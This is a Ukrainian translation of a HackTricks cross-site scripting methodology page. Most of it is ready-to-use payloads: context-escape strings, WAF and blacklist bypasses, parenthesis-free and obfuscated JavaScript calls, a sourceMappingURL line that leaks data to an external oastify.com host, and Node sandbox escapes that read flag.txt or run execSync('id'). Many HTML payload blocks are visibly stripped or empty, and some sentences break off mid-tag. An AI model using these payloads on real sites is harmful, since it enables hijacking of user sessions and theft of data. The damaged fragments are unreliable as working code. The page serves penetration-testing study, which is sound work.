# XSS (Cross Site Scripting) {{#include ../../banners/hacktricks-training.md}} ## Методологія 1. Перевірте, чи будь-яке **значення, яке ви контролюєте** (_parameters_, _path_, _headers_?, _cookies_?) **відображається** в HTML або **використовується** кодом **JS**. 2. **З'ясуйте контекст**, де воно відображається/використовується. 3. Якщо **відображено** 1. Перевірте **які символи можна використовувати** і залежно від цього підготуйте payload: 1. У **raw HTML**: 1. Чи можете ви створити нові HTML теги? 2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`? 3. Чи можете обійти захист? 4. Чи інтерпретується HTML-контент якимось client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), тоді ви можете використати [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Якщо ви не можете створити HTML-теги, які виконують JS-код, чи можна скористатися [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Всередині **HTML тега**: 1. Чи можете ви вийти в контекст raw HTML? 2. Чи можете створити нові події/атрибути для виконання JS-коду? 3. Чи підтримує атрибут, в якому ви «застрягли», виконання JS? 4. Чи можете обійти захист? 3. Всередині **JavaScript коду**: 1. Чи можете ви вийти з тега ``** тегами HTML-сторінки, всередині файлу `.js` або в атрибуті з використанням протоколу **`javascript:`**: - Якщо відображається між **``** тегами, навіть якщо ваш ввід знаходиться в будь-яких лапках, ви можете спробувати ввести `` і вийти з цього контексту. Це працює тому, що **браузер спочатку розпарсить HTML-теги**, а потім вміст, тому він не помітить, що ваш інжектований `` тег знаходиться всередині HTML-коду. - Якщо відображається **всередині JS-рядка** і попередній трюк не працює, вам потрібно **вийти** з рядка, **виконати** ваш код і **відновити** JS-код (якщо буде помилка, він не виконається): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - Якщо відображається всередині template literals, ви можете **вбудувати JS-вирази** використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` - **Unicode encode** працює для написання **valid javascript code**: ```javascript alert(1) alert(1) alert(1) ``` #### Javascript Hoisting Javascript Hoisting позначає можливість **оголосити функції, змінні або класи після їх використання, щоб можна було зловживати сценаріями, де XSS використовує неоголошені змінні або функції.**\ **Перегляньте наступну сторінку для детальнішої інформації:** {{#ref}} js-hoisting.md {{#endref}} ### Javascript Function Декілька веб-сторінок мають endpoints, які **приймають як параметр ім'я функції для виконання**. Поширений приклад у реальному житті: `?callback=callbackFunc`. Добрий спосіб з'ясувати, чи те, що передається прямо користувачем, намагається виконуватися — це **змінити значення параметра** (наприклад на 'Vulnerable') і подивитися в консолі на помилки типу: ![](<../../images/image (711).png>) Якщо воно вразливе, ви можете бути в змозі **запустити alert**, просто відправивши значення: **`?callback=alert(1)`**. Однак дуже часто такі endpoints будуть **валідовувати вміст**, дозволяючи лише букви, цифри, крапки та підкреслення (**`[\w\._]`**). Однак навіть з цим обмеженням все ж можна виконати деякі дії. Це тому, що можна використовувати ці допустимі символи, щоб **отримати доступ до будь-якого елементу в DOM**: ![](<../../images/image (747).png>) Деякі корисні функції для цього: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Ви також можете спробувати безпосередньо **trigger Javascript functions**: `obj.sales.delOrders`. Однак зазвичай endpoints, що виконують вказану функцію, не містять цікавого DOM; **інші сторінки в тому ж origin** матимуть **цікавіший DOM** для виконання додаткових дій. Тому для **зловживання цією вразливістю в іншому DOM** було розроблено експлуатацію **Same Origin Method Execution (SOME)**: {{#ref}} some-same-origin-method-execution.md {{#endref}} ### DOM Існує **JS code**, який **неналежним чином** використовує деякі **дані, контрольовані зловмисником**, наприклад `location.href`. Зловмисник може зловживати цим для виконання довільного JS-коду. {{#ref}} dom-xss.md {{#endref}} ### **Universal XSS** Такі XSS можуть бути знайдені **скрізь**. Вони залежать не лише від клієнтської експлуатації веб-застосунку, а від **будь-якого** **контексту**. Такі випадки **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та іншого.\ Деякі **приклади**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} ## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Injecting inside raw HTML Коли ваш ввід відображається **inside the HTML page** або ви можете вийти з контексту та інжектити HTML-код у цьому контексті, **перше**, що потрібно зробити — перевірити, чи можна зловживати символом `<`, щоб створити нові теги: просто спробуйте **reflect** цей **char** і перевірте, чи він **HTML encoded**, **deleted** або відображається **без змін**. **Тільки в останньому випадку ви зможете експлуатувати це**.\ Для таких випадків також **майте на увазі** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Примітка: HTML-коментар можна закрити, використавши\*\***\***\*`-->`\*\***\***\*або \*\***`--!>`\*\*_ У такому випадку, якщо не використовується чорний/білий список, ви можете використовувати такі payloads: ```html ``` Але якщо використовується black/whitelisting тегів/атрибутів, вам потрібно буде **brute-force which tags** ви можете створювати.\ Коли ви **located which tags are allowed**, потрібно буде **brute-force attributes/events** всередині знайдених валідних тегів, щоб побачити, як можна атакувати контекст. ### Tags/Events brute-force Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть _**Copy tags to clipboard**_. Потім відправте їх усі за допомогою Burp intruder і перевірте, чи якийсь тег не був визначений WAF як шкідливий. Після того, як ви виявите, які теги можна використовувати, ви можете **brute force all the events** з використанням валідних тегів (на тій же сторінці натисніть _**Copy events to clipboard**_ і повторіть ту ж процедуру). ### Custom tags Якщо ви не знайшли жодного валідного HTML тегу, можна спробувати **create a custom tag** і виконати JS код за допомогою атрибуту `onfocus`. У XSS-запиті потрібно завершити URL символом `#`, щоб сторінка **focus on that object** і **execute** код: ``` /?search=#x ``` ### Обходи Blacklist Якщо використовується якась blacklist, ви можете спробувати обійти її за допомогою кількох простих трюків: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Зауважте, що якщо ви спробуєте **використати обидва** `URLencode + HTMLencode` у будь-якому порядку, щоб закодувати **payload**, це **не** **спрацює**, але ви можете **змішувати їх всередині payload**. **Використання Hex та Octal encode з `javascript:`** Ви можете використовувати **Hex** та **Octal encode** всередині атрибута `src` у `iframe` (принаймні), щоб оголосити **HTML tags to execute JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS у "Невразливих тегах" (hidden input, link, canonical, meta) From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можна зловживати hidden inputs за допомогою:** ```html ``` А в **мета-тегах**: ```html
Newsletter popup
``` З [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Ви можете виконати **XSS payload всередині прихованого атрибуту**, за умови, що зможете **переконати** **victim** натиснути **комбінацію клавіш**. У Firefox на Windows/Linux комбінація клавіш — **ALT+SHIFT+X**, а на OS X — **CTRL+ALT+X**. Ви можете задати іншу комбінацію клавіш, використавши іншу клавішу в access key attribute. Ось вектор: ```html ``` **XSS payload буде виглядати приблизно так: `" accesskey="x" onclick="alert(1)" x="`** ### Обходи чорних списків У цьому розділі вже показано кілька трюків із використанням різного кодування. Поверніться, щоб дізнатися, де ви можете їх використовувати: - **HTML encoding (HTML tags)** - **Unicode encoding (can be valid JS code):** `\u0061lert(1)` - **URL encoding** - **Hex and Octal encoding** - **data encoding** **Bypasses for HTML tags and attributes** Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses). **Bypasses for JavaScript code** Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Якщо ви знайшли **XSS у дуже малій частині** сайту, яка вимагає певної взаємодії (наприклад, невелике посилання в footer з onmouseover), можна спробувати **змінити простір, який займає цей елемент**, щоб максимально підвищити ймовірність спрацьовування посилання. Наприклад, ви можете додати стилі в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Але якщо WAF фільтрує атрибут style, можна використати CSS Styling Gadgets, тому якщо ви знайдете, наприклад > .test {display:block; color: blue; width: 100%\} and > \#someid {top: 0; font-family: Tahoma;} Тепер ви можете модифікувати наше посилання і привести його до форми > \ Цей трюк взято з [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Впровадження всередині JavaScript-коду У цьому випадку ваш **input** буде **відображений всередині JS коду** у `.js` файлі або між `` тегами, або в HTML-подіях, що можуть виконувати JS, або в атрибутах, що приймають протокол `javascript:`. ### Вихід із \`, ви легко можете **вийти, закривши ` ``` Зверніть увагу, що в цьому прикладі ми **навіть не закрили одинарну лапку**. Це тому, що **аналіз HTML виконується браузером спочатку**, що передбачає ідентифікацію елементів сторінки, включно з блоками скриптів. Парсинг JavaScript для розуміння та виконання вбудованих скриптів виконується лише після цього. ### Всередині JS-коду Якщо `<>` очищуються, ви все ще можете **екранізувати рядок**, де ваше введення **розміщено**, та **виконати довільний JS**. Важливо **виправити синтаксис JS**, оскільки якщо будуть помилки, JS-код не буде виконано: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` #### JS-in-JS string break → inject → repair pattern Коли введення користувача потрапляє всередину quoted JavaScript string (наприклад, server-side echo into an inline script), ви можете завершити рядок, вставити код і відновити синтаксис, щоб парсер залишався валідним. Загальна схема: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` Приклад шаблону URL, коли вразливий параметр відображається у JS-рядку: ``` ?param=test";;a=" ``` Це виконує JS зловмисника без необхідності торкатися HTML-контексту (чистий JS-in-JS). Combine with blacklist bypasses below when filters block keywords. ### Шаблонні рядки `` Щоб формувати **рядки**, окрім одинарних і подвійних лапок JS також підтримує **зворотні лапки** **` `` `** . Це називається шаблонними літералами, оскільки вони дозволяють **вбудовувати вирази JS** з використанням синтаксису `${ ... }`.\ Отже, якщо ви помітили, що ваш вхід **відображається** всередині JS-рядка, що використовує зворотні лапки, ви можете зловживати синтаксисом `${ ... }`, щоб виконати **довільний JS-код**: Цим можна **зловживати**, використовуючи: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` ```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } loop`` ``` ### Виконання закодованого коду ```html ``` **Javascript всередині коментаря** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript без дужок** ```javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ``` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Виклик довільної функції (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ``` ## **DOM vulnerabilities** Є **JS code**, що використовує **ненадійні дані, керовані атакуючим**, як-от `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS-код.\ **Через великий обсяг пояснення** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} Там ви знайдете детальне **пояснення того, що таке DOM vulnerabilities, як вони спричиняються та як їх експлуатувати**.\ Також не забувайте, що **в кінці згаданого посту** ви можете знайти пояснення про [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). ### Ескалація Self-XSS ### Cookie XSS Якщо ви можете викликати XSS, надіславши payload у cookie, це зазвичай self-XSS. Однак, якщо ви знайдете **vulnerable subdomain to XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie на весь домен, змусивши спрацювати cookie XSS у головному домені або в інших субдоменах (тих, що вразливі до cookie XSS). Для цього ви можете використати cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} Ви можете знайти відмінний приклад зловживання цією технікою в [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Надсилання вашої сесії до admin Можливо, користувач може поділитися своїм профілем з admin, і якщо self XSS знаходиться в профілі користувача, а admin відкриє його, він спровокує вразливість. ### Session Mirroring Якщо ви знайдете self XSS і веб-сторінка має **session mirroring for administrators**, наприклад дозволяючи клієнтам просити допомоги, то для того, щоб admin допоміг, він бачитиме те, що ви бачите у вашій сесії, але з його сесії. Ви можете змусити **administrator trigger your self XSS** і вкрасти його cookies/session. ## Інші методи обходу ### Нормалізований Unicode Ви можете перевірити, чи **reflected values** нормалізуються як **unicode normalized** на сервері (або на клієнтській стороні) і зловживати цією функціональністю, щоб обійти захист. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Через **RoR mass assignment** в HTML вставляються лапки, після чого обмеження на лапки обходиться і всередині тега можна додати додаткові поля (onfocus).\ Приклад форми ([from this report](https://hackerone.com/reports/709336)), якщо ви надішлете payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Пара "Key","Value" буде виведена ось так: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Тоді атрибут onfocus буде вставлено, і відбудеться XSS. ### Спеціальні комбінації ```html alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS with header injection in a 302 response Якщо ви виявите, що можете **inject headers in a 302 Redirect response**, можете спробувати **make the browser execute arbitrary JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо HTTP статусний код — 302, тож простий cross-site scripting payload марний. In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як протестувати кілька протоколів всередині Location header і перевірити, чи дозволяє якийсь із них браузеру інспектувати та виконати XSS payload всередині тіла.\ Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Only Letters, Numbers and Dots Якщо ви можете вказати **callback**, який javascript збирається **execute**, обмежений лише цими символами. [**Read this section of this post**](#javascript-function) щоб дізнатися, як зловживати цією поведінкою. ### Valid ` ``` Відповідь: - **module** (default, нічого пояснювати) - [**webbundle**](https://web.dev/web-bundles/): Web Bundles — це функція, яка дозволяє упакувати велику кількість даних (HTML, CSS, JS…) разом у файл **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - [**importmap**](https://github.com/WICG/import-maps)**:** Дозволяє покращити синтаксис import ```html ``` Ця поведінка була використана в [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) щоб переназначити бібліотеку на eval і зловживати цим — це може призвести до XSS. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ця функція насамперед покликана вирішити деякі проблеми, спричинені попереднім рендерингом. Працює так: ```html ``` ### Веб Content-Types для XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) The following content types can execute XSS in all browsers: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml - text/plain (?? не в списку, але, здається, я бачив це в CTF) - application/rss+xml (off) - application/atom+xml (off) In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS: ```xml hello ``` ### Спеціальні шаблони заміни Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", )`**, атакуючий може використати [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Наприклад, у [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано, щоб **ескейпнути JSON рядок** всередині скрипта і виконати довільний код. ### Chrome Cache to XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} ### XS Jails Escape Якщо у вас є лише обмежений набір символів для використання, перегляньте інші робочі рішення для проблем XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Якщо **everything is undefined** перед виконанням недовіреного коду (як у [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) можна згенерувати корисні об'єкти «нізвідки», щоб зловживати виконанням довільного недовіреного коду: - Використовуючи import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Опосередкований доступ до `require` [Згідно з цим](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) модулі обгортаються функцією Node.js, приблизно так: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` Отже, якщо з того модуля ми можемо **викликати іншу функцію**, то з цієї функції можна використати `arguments.callee.caller.arguments[1]` для доступу до **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( "/flag.txt", "utf8" ) })() ``` Подібно до попереднього прикладу, можна **використовувати error handlers** для доступу до **wrapper** модуля та отримання функції **`require`**: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = "".constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log("=".repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req("child_process").execSync("id").toString()) } } } trigger() ``` ### Обфускація та просунуті методи обходу - **Різні обфускації на одній сторінці:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - Більш складний JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"] o = ゚ー゚ = _ = 3 c = ゚Θ゚ = ゚ー゚ - ゚ー゚ ゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o) ゚Д゚ = { ゚Θ゚: "_", ゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚], ゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)], ゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚], } ゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o] ゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚] ゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚] ゚o゚ = ゚Д゚["c"] + ゚Д゚["o"] + (゚ω゚ノ + "_")[゚Θ゚] + ((゚ω゚ノ == 3) + "_")[゚ー゚] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[゚Θ゚] + ((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] + ゚Д゚["c"] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ゚Д゚["o"] + ((゚ー゚ == 3) + "_")[゚Θ゚] ゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚] ゚ε゚ = ((゚ー゚ == 3) + "_")[゚Θ゚] + ゚Д゚.゚Д゚ノ + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] + ((゚ー゚ == 3) + "_")[゚Θ゚] + (゚ω゚ノ + "_")[゚Θ゚] ゚ー゚ += ゚Θ゚ ゚Д゚[゚ε゚] = "\\" ゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)] o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ゚Д゚[゚o゚] = '"' ゚Д゚["_"]( ゚Д゚["_"]( ゚ε゚ + ゚Д゚[゚o゚] + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + (゚ー゚ + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ 